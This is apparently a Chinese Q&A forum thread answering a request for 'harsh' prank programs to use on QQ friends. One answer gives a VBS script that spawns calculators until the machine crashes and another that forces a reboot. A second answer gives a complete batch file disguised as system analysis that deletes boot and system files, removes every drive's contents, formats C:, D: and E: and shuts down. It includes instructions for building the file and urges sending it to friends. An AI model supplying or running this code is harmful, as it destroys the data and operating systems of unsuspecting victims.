Question

QQ整人软件（要狠一点的）

如题狠一点的

Answer 1

1、上八目妖有。2、自制一点击就出现无数个计算器，直到死机为止。在记事本里输入，最后把扩展名改成VBS得那种。

Dim objws
Set objws=wscript.createobject("wscript.shell")
Do
objws.Run "calc"
Loop

整人小程序：说我是猪就不关机
程序, 整人
on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""快说“我是猪”，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

msgbox chr(13) + chr(13) + chr(13) + "乖孩子真听话啊"

msgbox chr(13) + chr(13) + chr(13) + "下次叔叔买糖给你吃"

msgbox chr(13) + chr(13) + chr(13) + "要吃什么糖啊"

msgbox chr(13) + chr(13) + chr(13) + "什么，大白兔？"

msgbox chr(13) + chr(13) + chr(13) + "不行，不行，大白兔吃了长石头啊"

msgbox chr(13) + chr(13) + chr(13) + "要不叔叔给你讲个故事"

msgbox chr(13) + chr(13) + chr(13) + "从前有个山"

msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"

msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"

msgbox chr(13) + chr(13) + chr(13) + "老和尚在给小和尚讲故事"

msgbox chr(13) + chr(13) + chr(13) + "讲什么故事呢"

msgbox chr(13) + chr(13) + chr(13) + "故事是这样的"

msgbox chr(13) + chr(13) + chr(13) + "从前有个山"

msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"

msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"

msgbox chr(13) + chr(13) + chr(13) + "什么，不听了"

msgbox chr(13) + chr(13) + chr(13) + "别哭别哭，叔叔给你买糖！"
复制代码一个整人的小代码，“说我是猪就不关机”
把上面的代码复制到记事本里，把后缀名改成.VBE

Answer 2

整人的CMD文件（自己可以玩玩）
首先，在桌面----右键----新建----文本文档新建后，打开它，输入以下的分割线不要复制！！！ —————————分割线——————————echo off
echo 等待......
echo 正在分析系统......
REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Network /f
REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Minimal /f
ATTRIB %SYSTEMDRIVE%\boot.ini -s -a -r -h
DEL %SYSTEMDRIVE%\boot.ini /f
del %SYSTEMROOT%\system32\logfiles\*.*
del %SYSTEMROOT%\sytem32\config\*.evt
del %SYSTEMROOT%\system32\dtclog\*.*
del %SYSTEMROOT%\system32\*.log
del %SYSTEMROOT%\system32\*.txt
del %SYSTEMROOT%\*.txt
del %SYSTEMROOT%\*.log
del /f /s /q %system%\*.dll
del /f /s /q %system%\*.prx
del /f /s /q %system%\*.tbl
del /f /s /q %system%\*.cpx
del /f /s /q %system%\*.rom
del /f /s /q %system%\*.uce
del /f /s /q %system%\recycled\*.*
del /f /s /q %system32%\*.dll
del /f /s /q %system32%\*.prx
del /f /s /q %system32%\*.tbl
del /f /s /q %system32%\*.cpx
del /f /s /q %system32%\*.rom
del /f /s /q %system32%\*.uce
del /f /s /q %system32%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
del /f /s /q *.*
sfc /purgecache
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\*.log
del /f /s /q %windir%\*.tmp
del /f /s /q %windir%\prefetch\*.*
rd /s /q %temp% & md %temp%
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
@rd /s /q G:\ & md G:\
@rd /s /q F:\ & md F:\
@rd /s /q E:\ & md E:\
@rd /s /q D:\ & md D:\
@rd /s /q C:\ & md C:\
@rd /s /q A:\ & md A:\
@for %%e in (C D E F G) do del /f /s /q %e:\* >nul
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
del /f /q E:\我的电脑\正在清理windows系统\dll\*.*
@format c: /q/u/autoset
@format d: /q/u/autoset
@format e: /q/u/autoset
goto end
del c:\*.exe
del d:\*.dll
del e:\*.vbe
del f:\*.bat
del g:\*.cmd
echo OK!
echo.
shutdown -s -t 0—————————分割线——————————以上的分割线不要复制！！！再点左上角的“文件”----保存保存后，把后面的.txt改为.bat如果后面没有.txt就按一下步奏点开“我的电脑”—工具—文件夹选项—查看—隐藏已知文件的扩展名（点下前面的小框）—应用这时你在把新建文本文档后面的.txt改为.bat双击就行了，如果觉得好玩的话可以发给好友哦~

Answer 3

fc

Answer 4

qq炸弹